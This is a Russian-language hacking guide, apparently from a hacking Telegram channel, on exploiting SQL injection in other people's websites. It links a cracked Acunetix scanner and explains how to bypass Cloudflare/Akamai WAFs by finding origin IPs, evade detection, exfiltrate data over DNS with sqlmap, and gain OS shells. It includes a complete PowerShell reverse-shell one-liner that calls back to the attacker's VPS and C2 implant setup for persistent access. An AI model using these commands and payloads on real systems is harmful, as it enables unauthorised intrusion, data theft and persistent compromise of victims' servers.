Сканируем и раскручиваем SQL Injection с умом
SQL injection мы будем искать при помощи веб-сканера Acunetix, хочу передать большое спасибо дедушке Фахаю который радует нас своими кряками. Перейдем к установке. Стабильно работающей последней версии этого софта на Linux нету, поэтому будеть использовать Windows версию. Рекомендуемый конфиг сервера: 16GB RAM, 8 CPU. Такая конфигурация может держать около 10-12 сканов одновременно.
Ссылка на установщик - https://mega.nz/file/tDBEWBiK#1Om9o5MiNUKuxCLmB-m86F-bgQtduJbUgwrVOKJXXPg
Ссылка на кряк - https://www.fahai.org/usr/uploads/2021/07/3887087620.zip
Добавляем записи в hosts файл (находиться в C:\Windows\System32\drivers\etc\hosts)
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
Запускаем установщик
В Server name, указываем IP сервера на котором происходит установка
После установки, перекидываем все файлы из архива кряка в
C:/ProgramData/Acunetix/shared/license/
Готово! Можем логиниться с данными что указывали ранее.
Один из самых важных этапов. Сюда же включу и другие фишки которыми я пользуюсь.
Обход WAF
Понятно что сканировать сайт накрытый CloudFlare или Akamai не особо эффективно: оно будет безрезультатным или будет останавливаться спустя 5 минут, вместе с блокировкой вашего айпи адреса и тоной капчи. Есть несколько техник что я обычно использую.
Поиск поддоменов.
Лично я использую Amass, шикарная утилита, одним словом всем советую. Результаты будут лучше если добавить API ключи в конфиг-файл. Гайдов на нее также полно в гугле, а также никто не отменял оффициальную документацию https://github.com/OWASP/Amass/wiki/User-Guide .
Мне хватает:
amass enum -d victimsite.com -active -brute -noalts -ipv4
Из полученого списка доменов и их айпи-адресов, ищем тот который не накрыт клаудом и в то же время ведет на ту же страницу что и оригинальный домен. Обычно это какой-нибудь test. victimsite.com или dev. victimsite.com. Для проверки айпи сайта в браузере, я использую расширение для Firefox “IP Address and Domain Information”
История записей DNS
Сервис Viewdns.info и Spyse выдают информацию о прошлых DNS записях. Нашли айпишник который можем быть тем самым прямым айпи ведущим прямо к веб-серверу в обход WAF, подставьте его в URL (https://127.0.0.1/), а в заголовки добавьте Host: victimsite.com (если 302. редирект, попробуйте www.victimsite.com). Если айпи найден, но вас все равно не пускает по IP в URL, вы можете принудительно резолвить айпи в акуше. Для этого на добавляем в файл hosts запись: 127.0.0.1 victimsite.com, где 127.0.0.1 – оригинальный айпи.
Не сканировать заведомо неуязвимые сайты
Не то чтобы это какое-то правило для меня, скорее просто позволяет экономить время и сосредоточиться на других целях. Сначала определяем установленую CMS. Для этого я использую расширение все для того же браузера, WhatCMS.
Сканировать сайт на Wordpress неэфективно, для их проверки есть другой инструмент (wpscan). Онлайн-магазин на популярной CMS последней версии – тоже смысла в этом немного.
Записываем авторизацию и добавляем ее к сканированию
Юзер на сайте означает больше путей для тестирования. Регистрируем аккаунт на таргете, на временную почту и рандомные данные (спасибо гугл). Важно добавить ссылки на Log out, Password Сhange и Email Change, в Excluded Path, чтобы при сканировании аккаунт не стал невалидным.
Это будет не пошаговый гайд как раскрутить уязвимость, что слишком обобщенно. Я дам свои советы и важные моменты которые нужно делать после того как Acunetix нашел SQL Injection.
Изначально нужно определить какая DBMS установлена на сервере, техника которая была использована и как был преобразован payload (URL Encoded, Base64, Raw, …)
Саму БД можно идентефицировать по SQL запросу, как пример: waitfor delay – Microsoft SQL Server; pg_sleep – PostgreSQL; sleep – MySQL. Если поверхностно определить у вас не получилось, вбейте выданный payload в гугл, ответ там будет. В случае если техника Boolean-Based, и не понятно что за БД, не указывайте параметр –dbms, в любом другом случае это делать обязательно
Sqlmap команду нужно сделать максимально точной, указав –technique; --dbms; -p; --tamper (если это необходимо), важно научиться различать как выглядит payload, в разных техниках. Тогда можно точно указать ее, и не спамить сайт тоной запросов, что плохо, т.к. все это остаеться в логах на сайте, и да, есть админы которые их чекают.
По дефолту, sqlmap использует собственный User-Agent: sqlmap, это очень явная попытка взлома. Используем –random-agent чтобы его рандомизировать.
Boolean-Based sqli бывают очень неоднозначными, и мап не всегда может раскрутить такую технику.
(обычная булеан, легко крутиться, под рукой не было чего-то сложного, но для примера ок)
Тут на помощь нам придёт Burp Suite. Первый запрос отправляем с payload имеющим значение TRUE, вторым там где FALSE. Отправляем 2 (TRUE и FALSE) ответа в Comparer (ПКМ – Send response to Comparer). Переходим во вкладку Comparer и сравниваем 2 ответа по словам. Нужно указать их явное различие, чтобы sqlmap увидил это. В Comparer такое отличие будет выделено жёлтым цветом. Если оно находиться в ответе TRUE, в команду добавляем –string=”уникальная часть, если кусок большой, скопируйте лишь часть”, если отличие находиться в ответе FALSE, используем –not-string=”yourtext”
Описывать детали этой техники не вижу смысла, гугл сделает это намного лучше, а я могу и упустить важную для понимания информацию.
Кратко: БД может обращаться к DNS серверу, что мы и делаем. Подставляем в DNS запрос информацию которую хотим вывести из БД, на своей VPS поднимаем DNS сервер и снифаем входящие запросы. Для ее работы необходимо купить и настроить домен.
Whitepaper техники - https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf
Увеличивает скорость вывода из Blind SQL Injection, вплоть до 30 раз!
Сравнение скорости техник вывода:
Итак, приступим.
Доменное имя вместе с доменным запросом может иметь длину максимум 253 символа, так что приоритетно купить короткий домен.
Я беру на namecheap.com (не реклама), но это на ваш выбор.
Взял в доменной зоне .cc , стоят такие до 5$. Переходим в Domain List, и нажимаем на Manage возле нашего домена.
Открылось меню управления, переходим во вкладку Advanced DNS, листаем до Personal DNS Server, тыкаем на ADD NAMESERVER, выбираем ns1, и в поле IP, вместо 127.0.0.1 вписываем IP нашего сервера. Нажимаем Done. Проделываем это все еще раз, только теперь вместо ns1, ставим ns2.
Далее переходим во вкладку Domain, листаем до Nameservers, меняем с Namecheap BasicDNS на Custom DNS. Добавляем 2 Nameserver: ns1.yourdomain.com, ns2.yourdomain.com. Не забудьте нажаль на зеленую галочку чтобы применить изменения.
Готово! Namecheap пишет что обновление DNS записей займёт до 24 часов, но по факту у меня занимало не больше 1-2 часов.
Теперь в sqlmap мы указываем аргумент –dns-domain=yourdomain.com , и вуаля, все заработало.
Подтверждение этого, вывод в консоли: data retrieval through DNS channel was successful
Важно подметить что эта техника никак не поможет вам с тем чтобы раскрутить уязвимость, а только лишь с тем чтобы ускорить вывод. Так что сначала подтвержденная скуля, потом –dns-domain .
SHELL
Вот мы и дошли до последнего пункта в моей статье, а именно шеллинг. Так как мы используем sqlmap, нам доступен аргумент –os-shell для вызова коммандной строки из БД.
Требования для его успешного использования:
1. Stacked Queries technique
2. DBA (database administrator rights)
Не имея хоть одного из этих двух пунктов – ничего не выйдет. На моей практике, Stacked Queries чаще всего встречаеться на сайтах, где DBMS – Microsoft SQL Server или PostgreSQL. С DBA все немного сложнее, может быть а может и нет. Если нам не повезло с правами админа, мы можем попытаться их повысить. Выводим информацию о БД используя –banner ; --fingerprint; получаем ее версию и идем в интернет искать уязвимости которые еще не пропатчены на нашей версии.
В нашем случае, мы подпадаем под все необходимые требования, DBMS у нас - Microsoft SQL Server, OS – Windows.
Вызываем --os-shell
Что делать дальше? Каждый раз эксплуатировать уязвимость чтобы получить доступ к консоли очень неудобно, поэтому мы пробрасываем Reverse Shell. Для этого нам нужен VPS с выделенный айпишником, накатывает туда Linux. На своей машине я использую netcat.
Запускаем Listener на свободном порту
nc -lvnp 9478
И на нашем таргете, в –os-shell запускаем эту команду:
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 9478);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
Заменить 127.0.0.1 на IP нашей Linux VPS
Чтобы его не потерять, можно воспользоваться каким-нибудь C2 Framework. Например https://github.com/xRET2pwn/PickleC2 .
Установка и запуск:
git clone https://github.com/xRET2pwn/PickleC2.git
cd PickleC2
sudo apt install python3 python3-pip
python3 -m pip install -r requirements.txt
./run.py
listener start mainlistener eth0 9479
implant generate mainlistener powershell mssql_win
Далее мы вызываем --os-shell, и выполняем там payload что нам сгенерировал наш C2 server
При успешном выполнении, в нашей Linux консоли появиться сообщение о создании новой сессии
Чтобы взаемодействовать с сессией используемinteract mssql_win
Плюсы: при падении или ребута нашей VPS, мы все равно сохраним доступ к шеллу, достаточно только заного запустить C2; ./run.py
Минусы: шелл не переживет перезагрузку сервера базы данных
Документация: https://picklec2.readthedocs.io/
Наш канал : https://t.me/webhack_kakao